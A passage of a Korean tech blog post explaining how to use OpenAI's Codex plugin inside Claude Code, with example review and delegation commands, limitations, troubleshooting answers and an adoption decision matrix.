&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2022&quot; data-origin-height=&quot;1084&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cFWAHy/dJMcagkE6kk/EnoeEGFhSuvDeNRy6YGhKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cFWAHy/dJMcagkE6kk/EnoeEGFhSuvDeNRy6YGhKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cFWAHy/dJMcagkE6kk/EnoeEGFhSuvDeNRy6YGhKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcFWAHy%2FdJMcagkE6kk%2FEnoeEGFhSuvDeNRy6YGhKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2022&quot; height=&quot;1084&quot; data-origin-width=&quot;2022&quot; data-origin-height=&quot;1084&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;ul style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;foreground (&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--wait&lt;/code&gt;)&lt;/b&gt; &amp;mdash; 1~2개 파일의 작은 리뷰에 적합. 결과를 즉시 확인할 수 있다.&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;background (기본 또는 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--background&lt;/code&gt;)&lt;/b&gt; &amp;mdash; 대규모 변경에 적합. detached child process로 실행되며, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:status&lt;/code&gt;로 진행 상황을 확인하고 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:result&lt;/code&gt;로 결과를 조회한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 7 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7.&amp;nbsp; 사용 예시&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 1: PR 머지 전 코드 리뷰&lt;/h3&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# main 브랜치 대비 리뷰 (background)
/codex:review --base main --background

# 잠시 후 상태 확인
/codex:status

# 결과 확인
/codex:result&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;review는 read-only이므로 코드를 수정하지 않는다. 리뷰 결과의 verdict가 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;needs-attention&lt;/code&gt;이면 findings를 확인하고 직접 수정한다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 2: 버그 조사 및 수정 위임&lt;/h3&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Codex에 버그 조사 + 수정 위임 (write 모드 기본)
/codex:rescue &quot;auth 모듈에서 토큰 갱신 실패 원인 조사 후 수정&quot;

# 결과 확인
/codex:result&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;rescue는 기본 write 모드이므로 Codex가 직접 코드를 수정한다. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--resume&lt;/code&gt; 옵션으로 이전 작업에 이어서 추가 작업을 위임할 수도 있다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 3: adversarial-review로 아키텍처 검증 (포커스 텍스트 활용)&lt;/h3&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 특정 기능 흐름을 포커스 텍스트로 지정하여 집중 검증
# 포커스 영역에 가중치를 두되 7개 공격 면 전체도 함께 검토함
/codex:adversarial-review --base HEAD~2 Cohort 등록/수정 모달의 상태 관리와 API 호출 흐름

# 포커스 없이 전체 균등 검토 (대규모 변경은 --background 권장)
/codex:adversarial-review --background&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;adversarial-review는 인증/권한, 데이터 손실, 롤백 안전성, 레이스 컨디션, 빈 상태/타임아웃, 버전 스큐, 관찰성 갭 등 7개 공격 면을 기준으로 설계를 공격적으로 질문한다. 아키텍처 변경이나 보안 민감 코드에 특히 유용하다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;포커스 텍스트를 지정하면 Codex가 해당 영역의 파일을 우선 탐색한다. 실제 테스트 결과, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--base HEAD~2 Cohort 등록/수정 모달의 상태 관리와 API 호출 흐름&lt;/code&gt;을 지정했을 때 Codex는 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;CohortRegistModal.tsx&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;cohort.api.ts&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;cohortRegMng/index.tsx&lt;/code&gt;를 집중 분석하여 수정 경로 dead code, manager 스코프 누락, mock 저장 후 false success 등 high 3건 + medium 1건을 검출했다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 4: rescue &amp;rarr; resume 연속 작업&lt;/h3&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 1차 위임
/codex:rescue &quot;DB 마이그레이션 스크립트 작성&quot;

# 결과 확인 후 추가 작업 이어하기
/codex:rescue --resume &quot;인덱스 추가도 포함해서 마무리&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--resume&lt;/code&gt;을 사용하면 이전 Codex 세션의 컨텍스트를 유지하면서 후속 작업을 위임한다. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--fresh&lt;/code&gt;는 반대로 새 세션으로 시작한다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 8 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 제한사항 및 주의사항&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2022&quot; data-origin-height=&quot;1096&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/damz0J/dJMcaiCL9wx/1MRfkJf6YLL3KqSaiKRs0k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/damz0J/dJMcaiCL9wx/1MRfkJf6YLL3KqSaiKRs0k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/damz0J/dJMcaiCL9wx/1MRfkJf6YLL3KqSaiKRs0k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdamz0J%2FdJMcaiCL9wx%2F1MRfkJf6YLL3KqSaiKRs0k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2022&quot; height=&quot;1096&quot; data-origin-width=&quot;2022&quot; data-origin-height=&quot;1096&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;이중 구독 비용&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;ChatGPT 구독 또는 OpenAI API 키가 필요하며, 사용량은 Codex 한도에 포함된다. Claude Code 구독(Anthropic)과 별도이므로 &lt;b&gt;두 벤더에 이중 비용이 발생한다&lt;/b&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;초기 단계 프로젝트&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;커밋 2개, 오픈 이슈 10여 개 (2026-03-31 GitHub API 기준, 변동 가능), 리포지토리 생성일 2026-03-30이다. 아직 극초기 단계이므로 프로덕션 의존은 신중해야 한다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Review Gate 사용량 경고&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Stop 훅 기반 Review Gate가 활성화되면 Claude Code가 멈출 때마다 Codex 리뷰가 트리거된다 . 이는 추가 Codex 사용량을 발생시킨다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;불필요하면 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:setup --disable-review-gate&lt;/code&gt;로 비활성화한다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Node.js 18.18+ 요구&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;package.json에 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;&quot;engines&quot;: {&quot;node&quot;: &quot;&amp;gt;=18.18.0&quot;}&lt;/code&gt;으로 명시되어 있다. 이전 버전의 Node.js에서는 동작하지 않는다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;read-only 제한&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;review와 adversarial-review는 read-only(&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;sandbox: &quot;read-only&quot;&lt;/code&gt;)로 실행된다. 리뷰 결과를 바탕으로 코드를 자동 수정하지 않으며, codex-result-handling 스킬이 &quot;After presenting review findings, STOP. Do not make any code changes.&quot;를 명시한다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;패키지 특성&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;패키지는 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;private: true&lt;/code&gt;로 설정되어 있어 npm에 공개 배포되지 않는다. Claude Code 플러그인 마켓플레이스를 통해서만 설치한다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 9 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 트러블슈팅 Q&amp;amp;A&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q1. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:setup&lt;/code&gt; 실행 시 Codex CLI가 없다고 나온다.&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;A. Codex CLI가 미설치 상태이다. setup이 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;npm install -g @openai/codex&lt;/code&gt; 설치를 제안한다. Node.js 18.18 이상이 필요하다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q2. Codex 인증에 실패한다.&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;A. ChatGPT 구독 또는 OpenAI API 키가 필요하다. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:setup&lt;/code&gt;이 미인증 시 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;!codex login&lt;/code&gt;(Claude Code 셸 이스케이프)을 안내한다. 로그인 후 다시 시도한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q3. Review Gate가 계속 트리거되어 사용량이 급증한다.&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;A. Stop 훅 기반이므로 Claude Code가 멈출 때마다 실행된다. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:setup --disable-review-gate&lt;/code&gt;로 비활성화한다. config에서 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;stopReviewGate&lt;/code&gt;가 활성화되어 있어야 동작하므로, 설정 상태를 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:status&lt;/code&gt;로 확인한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q4. 모델과 effort를 어떻게 설정하나?&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;A. 명령어에서 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--model &amp;lt;모델명|spark&amp;gt;&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--effort &amp;lt;none|minimal|low|medium|high|xhigh&amp;gt;&lt;/code&gt;로 지정한다. 기본값은 Codex config.toml의 사용자 레벨 또는 프로젝트 레벨 설정을 따른다. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;spark&lt;/code&gt;은 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;gpt-5.3-codex-spark&lt;/code&gt;으로 매핑된다. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;gpt-5.4-mini&lt;/code&gt; 등 별칭에 없는 모델도 직접 지정 가능하다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q5. 기존 Codex 설정(config.toml)이 호환되나?&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;A. 기본 모델과 reasoning effort는 기존 Codex config.toml에서 커스터마이징할 수 있다. 플러그인은 로컬 Codex CLI를 래핑하는 구조이므로 기존 설정이 그대로 적용된다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q6. background 작업 진행 상태를 어떻게 확인하나?&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;A. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:status&lt;/code&gt;로 활성 및 완료 작업을 확인하고, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:result&lt;/code&gt;로 완료된 작업의 전체 결과를 조회한다. 취소가 필요하면 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:cancel&lt;/code&gt;을 사용한다.&lt;/p&gt;
&lt;/div&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 10 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 결론 &amp;mdash; 도입 결정 매트릭스 + 크로스벤더 에이전트 협업의 의미&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;도입 결정 매트릭스: 언제 쓰고, 언제 쓰지 않는가&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;판단&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Claude Code로 코딩 + 별도 리뷰어가 필요&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;도입 고려&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Codex의 독립적 관점으로 크로스 리뷰 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;이미 OpenAI API 구독이 있다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;도입 유리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;추가 비용이 Codex 사용량뿐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;비용에 민감하다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;신중 검토&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Anthropic + OpenAI 이중 구독 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;프로덕션 워크플로우에 즉시 적용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;보류 권장&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;2커밋, 10여 이슈의 극초기 프로젝트 (2026-03-31 GitHub API 기준, 변동 가능)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;보안 민감 코드를 다룬다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;adversarial-review 활용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;7개 공격 면 기반 심층 리뷰&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;리뷰 없이 작업 위임만 필요&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;rescue 활용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;write 모드로 직접 수정까지 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;커뮤니티 반응과 업계 의미&lt;/h3&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;&quot;자존심이고뭐고 다 버렸구나&quot;&lt;/b&gt;&amp;nbsp; &amp;mdash; OpenAI가 경쟁사 플랫폼에 플러그인을 출시한 것에 대한 놀라움이 주된 반응이었다. 이는 AI 에이전트 시장에서 도달 범위(reach)가 자존심보다 중요해졌다는 신호로 읽을 수 있다.&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;Google/Firefox 검색 딜 비유&lt;/b&gt; &amp;mdash; Google이 Firefox에 기본 검색 엔진 비용을 지불하듯, OpenAI가 Claude Code라는 경쟁사 플랫폼에 진입하는 전략이라는 분석이다. 시장 점유 경쟁에서 플랫폼 진입 전략이 벤더 충성도를 넘어서는 사례다.&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;&quot;코드래빗 어짜냐&quot;&lt;/b&gt;&amp;nbsp;&amp;mdash; CodeRabbit 등 기존 코드 리뷰 도구의 입지에 대한 우려가 있었다. Codex가 Claude Code에 직접 통합되면, 별도 코드 리뷰 SaaS의 가치 제안이 압박받을 수 있다.&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;Claude Code 플랫폼화&lt;/b&gt; &amp;mdash; Claude Code가 단순 에이전트 IDE에서 서드파티 플러그인을 수용하는 플랫폼으로 진화하고 있다는 평가다. 이는 싱글 에이전트 시대의 종언을 의미한다.&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;이중 구독 비용 우려&lt;/b&gt; &amp;mdash; Anthropic + OpenAI 양쪽 구독이 필요하다는 점에서 비용 부담에 대한 실질적 우려가 있었다.&lt;/li&gt;
&lt;/ul&gt;
